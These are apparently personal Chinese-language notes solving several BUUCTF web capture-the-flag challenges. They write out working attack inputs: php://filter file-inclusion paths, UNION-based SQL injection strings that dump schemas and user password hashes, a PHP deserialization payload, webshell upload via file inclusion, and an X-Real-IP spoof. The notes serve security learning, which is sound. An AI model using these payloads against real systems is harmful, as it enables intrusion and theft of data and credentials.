buuctf
1.BUU LFI COURSE 1
-
进入发现文件包含漏洞,尝试读取index.php发现没有什么用
-
开始尝试,发现返回到根目录下存在flag文件
-
利用了伪协议 http://8606ea14-4e96-44f8-9776-a4fe31213c6b.node5.buuoj.cn:81/ ?file=php://filter/read=convert.base64-encode/resource=../../../../flag 回到根目录可以使用/ 即?file=/
-
远程包含
-
尝试利用远程包含漏洞发现被禁用,算是一种思路吧 ?file=http://127.0.0.1/1.php
-
2.BUU BRUTE 1
-
发现登录框尝试直接暴力测试
-
密码是四位,使用burpsuite进行暴力破解
-
最终密码为6490
-
登录成功,获得flag
-
对burpsuite进行光标修复 掌握暴力破解
3.BUU SQL COURSE 1
-
注意查看当前所在数据库
-
抓包发现存在一个注入点 http://b076ebc0-4718-433a-9006-a99d72e68d6b.node5.buuoj.cn:81/backend/content_detail.php?id=1
-
u ?id=-1 union select 1,database() --+ ?id=-2 union select group_concat(schema_name),3 from information_schema.schemata ?id=-2 union select group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining' ?id=-2 union select group_concat(column_name),3 from information_schema.columns where table_name='FLAG_TABLE' and table_schema='ctftraining' ?id=-2 union select 1,FLAG_COLUMN from ctftraining.FLAG_TABLE limit 0,1 ?id=-2 union select group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='ctftraining' ?id=-1 union select 1,group_concat(username , password) from ctftraining.users virinka4346e75cc1dd161a8d57f3b2d5d82d0 admin21232f297a57a5a743894a0e4a801fc3
4.Upload-Labs-Linux
- 文件上传一句话木马
- 在根目录下找到flag
5.BUU CODE REVIEW
-
php反序列化
-
https://www.jyshare.com/compile/1/ # php在线运行网站
-
get pleaseget=1 # 根据题目要求 post pleasepost=2 # if条件判断 md51=V5VDSHva7fjyJoJ33IQl md52=s1885207154a # md5弱判断 # flag{b4c746a8-d4d2-4017-926d-066bc2f9a76f} obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";} # php反序列化 http://e767f1d1-f92d-4d40-8429-019e3ec5abfc.node5.buuoj.cn:81/?pleaseget=1 # get传参 ”?“给丢了啊啊啊啊 pleasepost=2&md51=QLTHNDT&md52=s1885207154a&obj=O:3:"BUU":2: # 参数之间要用&连接 {s:7:"correct";s:0:"";s:5:"input";R:2;} # 根据题目代码对类进行序列化操作 class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } $a=new BUU(); $a->input = &$a->correct; # & 表示直接复制,地址相同 echo serialize($a) # h
6.BUU UPLOAD COURSE 1
-
文件上传漏洞
-
# 用我的2000大字典跑 # 发现没有一个绕过,无一例外全被重命名 如图
-
http://7b9f2e00-375a-4a8a-adae-2612984d8e9f.node5.buuoj.cn:81/index.php?file=upload.php # 网站链接是这样 突然想到文件解析漏洞 # 于是,当然成功 http://7b9f2e00-375a-4a8a-adae-2612984d8e9f.node5.buuoj.cn:81/index.php?file=uploads/67e5346ae0499.jpg 然后用蚁剑链接 在根目录下找到flag
-
在看看我的2000张图片
-
7.sqli-labs
-
sql注入
-
?id=-1' union select 1,database(),3 --+ security ?id=-2' union select 1,group_concat(schema_name),3 from information_schema.schemata --+ ctftraining,information_schema,mysql,performance_schema,security,test ?id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ emails,referers,uagents,users ?id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+ id,username,password ?id=-2' union select username,id,password from security.users limit 0,1--+
-
只可惜最后是surity库下的ctf表,最后用sqlmap跑了
8.BUU BURP COURSE 1
-
算是源ip检测吧
-
打开网站显示只能本地访问 remote_addr、X-Real-IP、X-Forwarded-For,这3个头参数需要详细了解 # 通过burp修改头部文件 X-Real-IP:127.0.0.1 发现进入登录,成功绕过本地访问 登录,在加入X-Real-IP:127.0.0.1 找到flag